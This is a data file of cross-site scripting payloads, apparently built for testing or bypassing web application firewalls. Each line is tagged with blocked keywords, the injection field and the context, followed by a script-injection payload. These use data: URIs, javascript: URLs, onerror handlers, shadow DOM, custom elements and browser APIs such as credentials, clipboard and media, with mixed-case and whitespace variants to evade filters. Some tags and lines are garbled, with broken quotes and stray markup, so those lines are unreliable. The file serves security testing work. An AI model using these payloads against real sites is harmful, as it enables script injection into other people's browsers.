[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><linK rel="import" href="data:text/html,<SCripT>aLErt(1)</SCripT>">
[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]><liNk ReL="imPort" HreF="dAta:text/hTmL,<ScriPT>aLert(1)</sCript>">
[WAF:script,onerror|FIELD:link|CONTEXT:html|ENCODING:utf8]> <link rel = "import" href = "data : text/html,<script> alert ( 1 ) </script> ">
[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><style>@import 'data:text/css,{}%20*%20{background:url(javascript:prompt(1))}';</style>
[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><sTYle>@iMpoRT 'data:TexT/css,{}%20*%20{BAcKground:urL(javAScRIPT:PrompT(1))}';</Style>
[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><style>@import 'data:text/css,{}%20*%20{background:url(JavasCriPT:prOMPT(1))}';</style>
[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><sTYlE>@impOrt 'DAta:text/Css,{}%20*%20{BacKGround:url(JaVascript:proMpT(1))}';</style>
[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]><style>@import 'data:text/css,{}%20*%20{background:url(JaVascRipt:PROmPt(1))}';</style>
[WAF:alert,onerror|FIELD:style|CONTEXT:html|ENCODING:utf8]>
<style>
@import
'data
:
text/css,
{
}
%20*%20
{
background
:
url
(
javascript
:
prompt
(
1
)
)
}
'
;
</style>
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><script src="data:text/javascript,alert(1)"></script>
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><sCRiPt src="data:text/javascript,alert(1)"></sCRiPt>
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><scrIPt src="data:text/JavAsCRipt,ALERt(1)"></scrIPt>
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><sCRiPt SRC="datA:Text/JavaSCriPt,alERt(1)"></sCript>
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]> <script src = "data : text/javascript,alert ( 1 ) "> </script>
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><sCRiPt src="data:text/JavASCRIpT,alERt(1)"></sCRiPt>
[WAF:script|FIELD:script|CONTEXT:html|ENCODING:utf8]><sCript sRC="daTa:text/jAVasCRIPT,alERt(1)"></sCript>
[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><noscript><img src="x" onerror="alert(1)"></noscript>
[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><nosCRIPT><Img srC="X" OnErroR="aLERT(1)"></nosCRIPT>
[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><nosCriPT><imG src="x" oNerRor="ALErt(1)"></nosCriPT>
[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><nosCRipt><img src="x" OnERror="aLeRT(1)"></nosCRipt>
[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><noscript><img src="x" ONeRRoR="alert(1)"></noscript>
[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]> <noscript> <img src = "x" onerror = "alert ( 1 ) "> </noscript>
[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><noscript><iMg src="x" onerror="alert(1)"></noscript>
[WAFnerror|FIELD:noscript|CONTEXT:html|ENCODING:utf8]><noScRIpt><IMg sRc="X" onerRor="ALert(1)"></nOScriPt>
[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><script>alert(1)</script></template>
[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><scRiPT>alert(1)</scRiPT></template>
[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><SCripT>ALeRt(1)</SCripT></template>
[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><TemplatE><sCrIpT>alErT(1)</sCRiPT></teMplAte>
[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><sCrIPt>aLERt(1)</sCrIPt></template>
[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]><template><ScrIpT>aLeRt(1)</ScrIpT></TeMPlate>
[WAF:|FIELD:template|CONTEXT:html|ENCODING:utf8]> <template> <script> alert ( 1 ) </script> </template>
[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><script>alert(1)</script></slot>
[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><ScRipt>alErt(1)</ScRipt></slot>
[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><sLoT NAme="x"><ScrIPT>alERT(1)</ScrIPT></SlOT>
[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]> <slot name = "x"> <script> alert ( 1 ) </script> </slot>
[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><scriPt>alert(1)</scriPt></slot>
[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><SCRiPt>ALerT(1)</SCRiPt></slot>
[WAF:script,alert|FIELD:slot|CONTEXT:html|ENCODING:utf8]><slot name="x"><SCript>alert(1)</script></slot>
[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.attachShadow({mode: 'open'}).innerHTML = '<script>alert(1)</script>'; //
[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]' ; el.attachShadow ( { mode : 'open' } ) .innerHTML = ' <script> alert ( 1 ) </script> ' ; //
[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.AtTacHShadOw({Mode: 'opEn'}).InNerHTmL = '<scrIPt>alERt(1)</scriPt>'; //
[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.ATtAChShAdoW({mode: 'opeN'}).innerHTML = '<ScRiPt>ALErt(1)</ScRiPt>'; //
[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.attachShadow({mode: 'open'}).innerHTML = '<scRipt>alert(1)</scRipt>'; //
[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.attachShadow({mode: 'open'}).innerHTML = '<ScRiPt>aleRT(1)</ScRiPt>'; //
[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]; el.attachShadow({mode: [ICODE]open}).innerHTML = [/ICODE]<script>alert(1)</script>'; //
[WAF:script,onerror|FIELD:shadow|CONTEXT:js|ENCODING:utf8]'; el.attachShadow({mode: 'open'}).innerHTML = '<SCRIpt>aLERT(1)</SCRIpt>'; //
[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; customElements.define('x-x', class extends HTMLElement { connectedCallback() { alert(1) } }); //
[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; cUsTomELEmeNts.DefinE('x-X', claSS extendS HTMlElemeNT { conNEcTedCALlBack() { ALeRT(1) } }); //
[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; customElements.define('x-x', class extends HTMLElement { connectedCallback() { aLerT(1) } }); //
[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; cUstomELements.DEfine('x-x', clASs extenDs HTMLeLement { ConnecTEdcallback() { Alert(1) } }); //
[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]'; customElements.define('x-x', class extends HTMLElement { connectedCallback() { aLeRt(1) } }); //
[WAF:alert,onerror|FIELD:custom|CONTEXT:js|ENCODING:utf8]' ; customElements.define ( 'x-x', class extends HTMLElement { connectedCallback ( ) { alert ( 1 ) } } ) ; //
[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; new MutationObserver(function(){alert(1)}).observe(document.body, {attributes: true}); //
[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; new MutationObserver(FUNcTiOn(){ALERt(1)}).observe(document.body, {attributes: true}); //
[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; new MutationObserver(FuNctION(){aLeRt(1)}).observe(DocUmENt.body, {attributes: true}); //
[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; new MuTationOBserver(fuNCtIOn(){aleRt(1)}).ObSeRVE(DoCuMenT.BodY, {AtTRiButES: trUE}); //
[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]' ; new MutationObserver ( function ( ) { alert ( 1 ) } ) .observe ( document.body, { attributes : true } ) ; //
[WAF:script|FIELD:mutation|CONTEXT:js|ENCODING:utf8]'; New MUtAtIonObSErVer(fUNCTioN(){ALert(1)}).obsErVe(dOcUMENt.boDy, {ATtributes: true}); //
[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; new IntersectionObserver(function(){alert(1)}).observe(document.body); //
[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]' ; new IntersectionObserver ( function ( ) { alert ( 1 ) } ) .observe ( document.body ) ; //
[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; neW intErseCtionObSeRVer(funcTion(){alerT(1)}).Observe(dOcUMeNt.boDy); //
[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; new IntersectionObserver(FuncTion(){alErT(1)}).observe(doCUMENt.body); //
[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; NEW intersecTiOnoBservEr(FunCtion(){aLERt(1)}).oBSerVe(dOCuMENT.body); //
[WAFnerror|FIELD:intersection|CONTEXT:js|ENCODING:utf8]'; new IntersectionObserver(fuNcTIOn(){ALERt(1)}).observe(DoCUMent.body); //
[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new ResizeObserver(function(){alert(1)}).observe(document.body); //
[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new ResizeObserver(fUnCtION(){aLeRT(1)}).observe(dOCUMenT.body); //
[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new RESizeOBservEr(fuNctiON(){Alert(1)}).oBserve(DOCuMEnT.bOdy); //
[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new ResizeoBserveR(funCtion(){AleRT(1)}).obseRve(doCumeNt.BODY); //
[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]' ; new ResizeObserver ( function ( ) { alert ( 1 ) } ) .observe ( document.body ) ; //
[WAF:|FIELD:resize|CONTEXT:js|ENCODING:utf8]'; new ResizeObserver(FunCTiOn(){aLERT(1)}).observe(DOcumeNT.body); //
[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navigator.clipboard.writeText('<script>alert(1)</script>'); //
[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; nAvIgatoR.clipboarD.wRiteTExT('<SCriPt>AlerT(1)</sCRIPt>'); //
[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navigator.clipboard.writeText('<SCrIPt>alERT(1)</SCrIPt>'); //
[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navigator.clipboard.writeText('<ScriPt>alert(1)</ScriPt>'); //
[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navigator.clipboard.writeText('<SCRIpt>AlErt(1)</SCRIpt>'); //
[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]'; navIgaTOr.cLipBOard.wRitETeXT('<SCRiPT>aleRt(1)</SCRiPT>'); //
[WAF:script,alert|FIELD:clipboard|CONTEXT:js|ENCODING:utf8]' ; navigator.clipboard.writeText ( ' <script> alert ( 1 ) </script> ' ) ; //
[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; navigator.geolocation.getCurrentPosition(function(){alert(1)}); //
[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]' ; navigator.geolocation.getCurrentPosition ( function ( ) { alert ( 1 ) } ) ; //
[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; navigator.geolocation.getCurrentPosition(fuNctioN(){alErT(1)}); //
[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; navigator.geolocation.getCurrentPosition(fuNctIon(){ALERT(1)}); //
[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; naViGAToR.gEolocAtion.getCuRrEntPosition(FunCtiON(){ALErt(1)}); //
[WAF:script,onerror|FIELD:geolocation|CONTEXT:js|ENCODING:utf8]'; nAvigator.geolOCation.GEtCurReNTPoSITIon(functiOn(){AlErt(1)}); //
[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; Notification.requestPermission(function(){alert(1)}); //
[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; NOTificatIOn.requEstpermISSion(fUnctIon(){alert(1)}); //
[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]' ; Notification.requestPermission ( function ( ) { alert ( 1 ) } ) ; //
[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; Notification.requestPermission(FUNCtiOn(){ALERt(1)}); //
[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; NotifICatIOn.requestPeRmISSion(FUnCTIon(){ALERT(1)}); //
[WAF:alert,onerror|FIELD:notifications|CONTEXT:js|ENCODING:utf8]'; Notification.requestPermission(fUNCTiON(){aLERt(1)}); //
[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; navigator.getBattery().then(function(){alert(1)}); //
[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; navigator.getBattery().then(fuNCTION(){aleRT(1)}); //
[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'
;
navigator.getBattery
(
)
.then
(
function
(
)
{
alert
(
1
)
}
)
;
//
[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; nAVigator.getBatTEry().TheN(funCTioN(){aLert(1)}); //
[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; nAVigAtoR.gEtBatTErY().then(fUNctiOn(){alErT(1)}); //
[WAF:script|FIELD:battery|CONTEXT:js|ENCODING:utf8]'; navigator.getBattery().then(fuNCtion(){alErT(1)}); //
[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; navigator.vibrate = function(){alert(1)}; //
[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; naviGator.viBrAte = function(){AlErt(1)}; //
[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; navigator.vibrate = FunctiON(){AlERt(1)}; //
[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; naVigator.vIbRate = funCtIoN(){ALErt(1)}; //
[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]'; navigator.vibrate = FUNcTIon(){aLert(1)}; //
[WAFnerror|FIELD:vibration|CONTEXT:js|ENCODING:utf8]' ; navigator.vibrate = function ( ) { alert ( 1 ) } ; //
[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; navigator.bluetooth.requestDevice({filters: []}).then(function(){alert(1)}); //
[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; NAvigatOR.BlUetooTH.requEstDevice({fiLters: []}).ThEn(fUnction(){aLERT(1)}); //
[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; navigator.bluetooth.requestDevice({filters: []}).then(FUNCTion(){aLeRt(1)}); //
[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; navigator.bluetooth.requestDevice({filters: []}).then(FunctIOn(){ALErT(1)}); //
[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]'; navIgAtOR.bluEtOoTh.reQuEsTdevIcE({fIlters: []}).TheN(functIon(){aLeRt(1)}); //
[WAF:|FIELD:bluetooth|CONTEXT:js|ENCODING:utf8]' ; navigator.bluetooth.requestDevice ( { filters : [] } ) .then ( function ( ) { alert ( 1 ) } ) ; //
[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; navigator.usb.requestDevice({filters: []}).then(function(){alert(1)}); //
[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; nAViGator.usb.RequeSTdevice({filTers: []}).then(fuNctiOn(){aleRt(1)}); //
[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]' ; navigator.usb.requestDevice ( { filters : [] } ) .then ( function ( ) { alert ( 1 ) } ) ; //
[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; navigator.usb.requestDevice({filters: []}).then(funCTIon(){aLERt(1)}); //
[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; navigator.usb.requestDevice({filters: []}).then(FUNCTIoN(){ALerT(1)}); //
[WAF:script,alert|FIELD:usb|CONTEXT:js|ENCODING:utf8]'; NAViGaTOr.usB.rEQUESTDeVice({filTers: []}).theN(FUnCTiOn(){ALerT(1)}); //
[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; navigator.nfc.watch(function(){alert(1)}); //
[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; naVigator.NfC.WaTch(fUnCtIon(){alert(1)}); //
[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]' ; navigator.nfc.watch ( function ( ) { alert ( 1 ) } ) ; //
[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; navigator.nfc.watch(FUNcTioN(){aleRt(1)}); //
[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; navigator.nfc.watch(function(){ALERT(1)}); //
[WAF:script,onerror|FIELD:nfc|CONTEXT:js|ENCODING:utf8]'; navigAToR.nfc.watcH(FUnCTioN(){AlErt(1)}); //
[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; navigator.wakeLock.request('screen').then(function(){alert(1)}); //
[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; nAvigatOr.wAkeloCk.RequeSt('SCREeN').thEN(FuNctIon(){alerT(1)}); //
[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; naVIgaTor.wakeLock.ReqUest('sCrEEn').thEn(FUnctIon(){aleRt(1)}); //
[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; navigator.wakeLock.request('screen').then(fUNCTioN(){ALeRt(1)}); //
[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]' ; navigator.wakeLock.request ( 'screen' ) .then ( function ( ) { alert ( 1 ) } ) ; //
[WAF:alert,onerror|FIELD:wake|CONTEXT:js|ENCODING:utf8]'; navigator.wakeLock.request('screen').then(FUNCTIoN(){aLErt(1)}); //
[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; document.fonts.load('1em x').then(function(){alert(1)}); //
[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]' ; document.fonts.load ( '1em x' ) .then ( function ( ) { alert ( 1 ) } ) ; //
[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; documeNt.fonTs.load('1Em X').thEN(FUnCTIon(){aLerT(1)}); //
[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; DOCUMENt.fonts.load('1em x').then(FUncTIOn(){AlErt(1)}); //
[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; doCUMenT.fonts.load('1em x').then(fuNCtion(){aLErt(1)}); //
[WAF:script|FIELD:font|CONTEXT:js|ENCODING:utf8]'; DOCumenT.fonts.Load('1em x').theN(funCtION(){alErt(1)}); //
[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; new PaymentRequest([{supportedMethods: 'basic-card'}], {total: {label: 'x', amount: {currency: 'USD', value: '0'}}}).show().catch(function(){alert(1)}); //
[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; nEw PaYmenTREQuest([{suppOrTedMEThoDs: 'basIC-caRD'}], {totaL: {LABeL: 'x', amouNt: {CuRRenCY: 'UsD', VALue: '0'}}}).Show().Catch(function(){AlerT(1)}); //
[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; new PaymentRequest([{supportedMethods: 'basic-card'}], {total: {label: 'x', amount: {currency: 'USD', value: '0'}}}).show().catch(FUnCtiON(){ALeRt(1)}); //
[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]`; new PaymentRequest([{supportedMethods: basic-card}], {total: {label: x, amount: {currency: USD, value: `0'}}}).show().catch(function(){alert(1)}); //
[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; new PaymentRequest([{supportedMethods: 'basic-card'}], {total: {label: 'x', amount: {currency: 'USD', value: '0'}}}).show().catch(fuNcTioN(){aLert(1)}); //
[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]' ; new PaymentRequest ( [ { supportedMethods : 'basic-card' } ], { total : { label : 'x', amount : { currency : 'USD', value : '0' } } } ) .show ( ) .catch ( function ( ) { alert ( 1 ) } ) ; //
[WAFnerror|FIELD:payment|CONTEXT:js|ENCODING:utf8]'; New PaymeNTrEqUest([{sUPpOrTedMethods: 'basic-carD'}], {totAl: {laBeL: 'X', amount: {cUrRENcY: 'Usd', value: '0'}}}).SHow().CAtch(FUNcTiOn(){alErT(1)}); //
[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.get({password: true}).then(function(){alert(1)}); //
[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; nAvigator.CredentIaLs.get({PAsswoRD: True}).thEn(FuNCTiON(){AlErt(1)}); //
[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.get({password: true}).then(fuNctIoN(){ALerT(1)}); //
[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'
;
navigator.credentials.get
(
{
password
:
true
}
)
.then
(
function
(
)
{
alert
(
1
)
}
)
;
//
[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; navIgAtor.cReDenTiaLs.geT({PassWOrd: TrUe}).THen(functiOn(){aleRT(1)}); //
[WAF:|FIELD:credential|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.get({password: true}).then(funCtion(){ALeRt(1)}); //
[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.create({publicKey: {}}).then(function(){alert(1)}); //
[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.create({publicKey: {}}).then(fuNCTIon(){alerT(1)}); //
[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]' ; navigator.credentials.create ( { publicKey : { } } ) .then ( function ( ) { alert ( 1 ) } ) ; //
[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; navigator.credentials.create({publicKey: {}}).then(FunCTion(){aleRT(1)}); //
[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; NAVigaTor.crEDEntials.creatE({publicKEy: {}}).THen(fUNCtiON(){alert(1)}); //
[WAF:script,alert|FIELD:webauthn|CONTEXT:js|ENCODING:utf8]'; naVIGator.creDEntiALs.create({Publickey: {}}).then(FUNction(){alerT(1)}); //
[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; navigator.mediaDevices.getUserMedia({video: true}).then(function(){alert(1)}); //
[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; navigator.mediaDevices.getUserMedia({video: true}).then(fuNcTiOn(){aLErt(1)}); //
[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]' ; navigator.mediaDevices.getUserMedia ( { video : true } ) .then ( function ( ) { alert ( 1 ) } ) ; //
[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; naVigator.mediadEvIces.getUseRmEDia({viDeo: true}).THeN(FUnCtioN(){alerT(1)}); //
[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; navigator.mediaDevices.getUserMedia({video: true}).then(FuNcTIon(){AlERT(1)}); //
[WAF:script,onerror|FIELD:media|CONTEXT:js|ENCODING:utf8]'; NavigAtor.mEdiadevIceS.geTUsERmeDiA({viDeo: truE}).then(FunctIoN(){alerT(1)}); //
[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; navigator.requestMIDIAccess().then(function(){alert(1)}); //
[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; nAvigAtOR.rEquestMidIaCcEss().Then(functiOn(){alERT(1)}); //
[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'
;
navigator.requestMIDIAccess
(
)
.then
(
function
(
)
{
alert
(
1
)
}
)
;
//
[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; navigator.requestMIDIAccess().then(fUnCTiON(){ALERt(1)}); //
[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; navigator.requestMIDIAccess().then(FunctIoN(){aLErt(1)}); //
[WAF:alert,onerror|FIELD:midi|CONTEXT:js|ENCODING:utf8]'; NavigATor.ReqUestMIdiACcEss().theN(fuNCTioN(){aleRt(1)}); //
[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; navigator.hid.requestDevice({filters: []}).then(function(){alert(1)}); //
[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; navigator.hid.requestDevice({filters: []}).then(FUNcTION(){aLerT(1)}); //
[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]' ; navigator.hid.requestDevice ( { filters : [] } ) .then ( function ( ) { alert ( 1 ) } ) ; //
[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; naVIgatoR.hiD.ReQUestDEvice({filTeRs: []}).tHEn(FUnctIon(){aLeRt(1)}); //
[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; navigator.hid.requestDevice({filters: []}).then(FunCTiOn(){alert(1)}); //
[WAF:script|FIELD:hid|CONTEXT:js|ENCODING:utf8]'; naVigator.HId.rEquestdeVICe({fiLTErS: []}).thEn(FunCtION(){AleRt(1)}); //
[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; navigator.serial.requestPort().then(function(){alert(1)}); //
[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'
;
navigator.serial.requestPort
(
)
.then
(
function
(
)
{
alert
(
1
)
}
)
;
//
[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; naviGaToR.Serial.requestPOrT().thEN(fuNctIoN(){aleRt(1)}); //
[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; navigator.serial.requestPort().then(FuNCTioN(){ALeRT(1)}); //
[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; navigator.serial.requestPort().then(FUnctIon(){ALErT(1)}); //
[WAFnerror|FIELD:serial|CONTEXT:js|ENCODING:utf8]'; navIgatOr.seRial.REquesTPort().THen(FunCtiOn(){Alert(1)}); //
[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; window.open('javascript:alert(1)'); //
[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; wIndow.open('JAvAsCRIPt:alErt(1)'); //
[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; Window.Open('javascript:aLert(1)'); //
[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; WINDOW.Open('javasCrIpt:ALErT(1)'); //
[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]'; winDOw.open('javASCrIPT:AlErT(1)'); //
[WAF:|FIELD:window|CONTEXT:js|ENCODING:utf8]' ; window.open ( 'javascript : alert ( 1 ) ' ) ; //
[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var w = open(); w.document.write('<script>alert(1)</script>'); //
[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var W = open(); w.DOCuMent.WrIte('<sCRIpT>aLErt(1)</sCRIpT>'); //
[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var w = open(); w.document.write('<ScRIPt>alert(1)</ScRIPt>'); //
[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var w = open(); w.DOCumENT.write('<sCripT>aLerT(1)</sCripT>'); //
[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'
;
var
w
=
open
(
)
;
w.document.write
(
'
<script>
alert
(
1
)
</script>
'
)
;
//
[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]; var w = open(); w.document.write(<script>alert(1)</script>'); //
[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; vAr w = oPEn(); w.doCuMenT.write('<sCript>aLErt(1)</script>'); //
[WAF:script,alert|FIELD:popup|CONTEXT:js|ENCODING:utf8]'; var w = open(); w.dOcument.write('<sCRipT>aleRt(1)</sCRipT>'); //
[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; opener.alert(1); //
[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]' ; opener.alert ( 1 ) ; //
[WAF:script,onerror|FIELDpener|CONTEXT:js|ENCODING:utf8]'; opener.alerT(1); //
